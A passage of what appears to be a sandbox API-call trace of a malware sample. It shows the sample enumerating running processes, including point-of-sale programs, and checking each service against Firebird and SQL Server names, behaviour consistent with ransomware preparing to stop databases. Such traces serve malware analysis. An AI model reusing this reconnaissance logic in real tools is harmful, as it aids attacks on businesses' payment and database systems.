szExeFile="creditservice.exe")) returned 1 [0037.136] lstrlenW (lpString="creditservice.exe") returned 17 [0037.136] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0037.137] lstrlenW (lpString="edcsvr.exe") returned 10 [0037.137] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0037.137] lstrlenW (lpString="fpos.exe") returned 8 [0037.137] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0037.138] lstrlenW (lpString="isspos.exe") returned 10 [0037.138] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0037.139] lstrlenW (lpString="mxslipstream.exe") returned 16 [0037.139] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0037.139] lstrlenW (lpString="omnipos.exe") returned 11 [0037.139] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0037.140] lstrlenW (lpString="spcwin.exe") returned 10 [0037.140] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0037.140] lstrlenW (lpString="spgagentservice.exe") returned 19 [0037.140] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0037.141] lstrlenW (lpString="utg2.exe") returned 8 [0037.141] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="burner.exe")) returned 1 [0037.142] lstrlenW (lpString="burner.exe") returned 10 [0037.142] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0037.142] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0037.142] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0037.143] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0037.143] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0037.143] lstrlenW (lpString="dllhost.exe") returned 11 [0037.143] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0037.144] lstrlenW (lpString="dllhost.exe") returned 11 [0037.144] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0037.145] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0037.145] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0037.145] lstrlenW (lpString="cmd.exe") returned 7 [0037.145] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0037.146] lstrlenW (lpString="conhost.exe") returned 11 [0037.146] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa60, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0037.258] lstrlenW (lpString="mode.com") returned 8 [0037.258] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa60, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0037.259] CloseHandle (hObject=0x168) returned 1 [0037.259] Sleep (dwMilliseconds=0x1f4) [0037.998] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x59fb90 [0037.999] EnumServicesStatusExW (in: hSCManager=0x59fb90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0) returned 0 [0037.999] GetLastError () returned 0xea [0037.999] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x134c) returned 0x3ee0070 [0037.999] EnumServicesStatusExW (in: hSCManager=0x59fb90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3ee0070, cbBufSize=0x134c, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3ee0070, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0) returned 1 [0038.000] CloseServiceHandle (hSCObject=0x59fb90) returned 1 [0038.000] lstrlenW (lpString="Appinfo") returned 7 [0038.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0038.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0038.000] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0038.000] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0038.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0038.000] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0038.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0038.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0038.000] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0038.000] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0038.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0038.000] lstrlenW (lpString="AudioSrv") returned 8 [0038.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0038.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0038.000] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0038.000] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0038.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0038.000] lstrlenW (lpString="BFE") returned 3 [0038.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0038.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0038.001] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0038.001] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0038.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0038.001] lstrlenW (lpString="CryptSvc") returned 8 [0038.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0038.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0038.001] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0038.001] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0038.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0038.001] lstrlenW (lpString="CscService") returned 10 [0038.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0038.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0038.001] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0038.001] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0038.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0038.001] lstrlenW (lpString="DcomLaunch") returned 10 [0038.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0038.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0038.001] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0038.001] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0038.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0038.001] lstrlenW (lpString="Dhcp") returned 4 [0038.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0038.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0038.001] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0038.001] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0038.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0038.001] lstrlenW (lpString="Dnscache") returned 8 [0038.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0038.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0038.001] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0038.001] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0038.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0038.002] lstrlenW (lpString="DPS") returned 3 [0038.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0038.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0038.002] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0038.002] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0038.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0038.002] lstrlenW (lpString="eventlog") returned 8 [0038.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0038.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0038.002] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0038.002] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0038.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0038.002] lstrlenW (lpString="EventSystem") returned 11 [0038.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0038.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0038.002] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0038.002] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0038.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0038.002] lstrlenW (lpString="FontCache") returned 9 [0038.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0038.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0038.002] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0038.002] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0038.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0038.002] lstrlenW (lpString="gpsvc") returned 5 [0038.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0038.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0038.002] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0038.002] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0038.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0038.002] lstrlenW (lpString="iphlpsvc") returned 8 [0038.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0038.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0038.003] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0038.003] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0038.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0038.003] lstrlenW (lpString="LanmanServer") returned 12 [0038.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0038.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0038.003] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0038.003] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0038.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0038.003] lstrlenW (lpString="LanmanWorkstation") returned 17 [0038.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0038.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0038.003] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0038.003] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0038.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0038.003] lstrlenW (lpString="lmhosts") returned 7 [0038.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0038.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0038.003] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0038.003] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0038.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0038.003] lstrlenW (lpString="MMCSS") returned 5 [0038.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0038.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0038.003] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0038.003] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0038.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0038.003] lstrlenW (lpString="MpsSvc") returned 6 [0038.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0038.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0038.003] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0038.003] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0038.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0038.004] lstrlenW (lpString="Netman") returned 6 [0038.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0038.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0038.004] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0038.004] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0038.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0038.004] lstrlenW (lpString="netprofm") returned 8 [0038.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0038.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0038.004] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0038.004] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0038.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0038.004] lstrlenW (lpString="NlaSvc") returned 6 [0038.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0038.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0038.004] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0038.004] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0038.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0038.004] lstrlenW (lpString="nsi") returned 3 [0038.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0038.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0038.004] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0038.004] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0038.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0038.004] lstrlenW (lpString="PcaSvc") returned 6 [0038.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0038.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0038.005] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0038.005] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0038.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0038.005] lstrlenW (lpString="PlugPlay") returned 8 [0038.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0038.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0038.005] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0038.005] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0038.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0038.005] lstrlenW (lpString="Power") returned 5 [0038.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0038.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0038.005] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0038.005] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0038.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0038.005] lstrlenW (lpString="ProfSvc") returned 7 [0038.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0038.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0038.005] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0038.005] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0038.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0038.005] lstrlenW (lpString="RpcEptMapper") returned 12 [0038.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0038.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0038.005] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0038.005] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0038.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0038.005] lstrlenW (lpString="RpcSs") returned 5 [0038.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0038.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0038.005] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0038.005] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0038.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0038.006] lstrlenW (lpString="SamSs") returned 5 [0038.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0038.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0038.006] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0038.006] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0038.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0038.006] lstrlenW (lpString="Schedule") returned 8 [0038.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0038.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0038.006] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0038.006] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0038.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0038.006] lstrlenW (lpString="SENS") returned 4 [0038.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0038.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0038.006] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0038.006] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0038.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0038.006] lstrlenW (lpString="ShellHWDetection") returned 16 [0038.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0038.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0038.006] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0038.006] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0038.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0038.006] lstrlenW (lpString="Spooler") returned 7 [0038.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0038.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0038.006] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0038.006] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0038.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0038.006] lstrlenW (lpString="sppsvc") returned 6 [0038.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0038.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0038.007] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0038.007] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0038.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0038.007] lstrlenW (lpString="SysMain") returned 7 [0038.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0038.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0038.007] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0038.007] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0038.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0038.007] lstrlenW (lpString="Themes") returned 6 [0038.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0038.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0038.007] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0038.007] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0038.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0038.007] lstrlenW (lpString="TrkWks") returned 6 [0038.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0038.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0038.007] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0038.007] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0038.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0038.007] lstrlenW (lpString="UxSms") returned 5 [0038.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0038.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0038.007] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0038.007] lstrcmpiW (lpString1="mssqlserver", 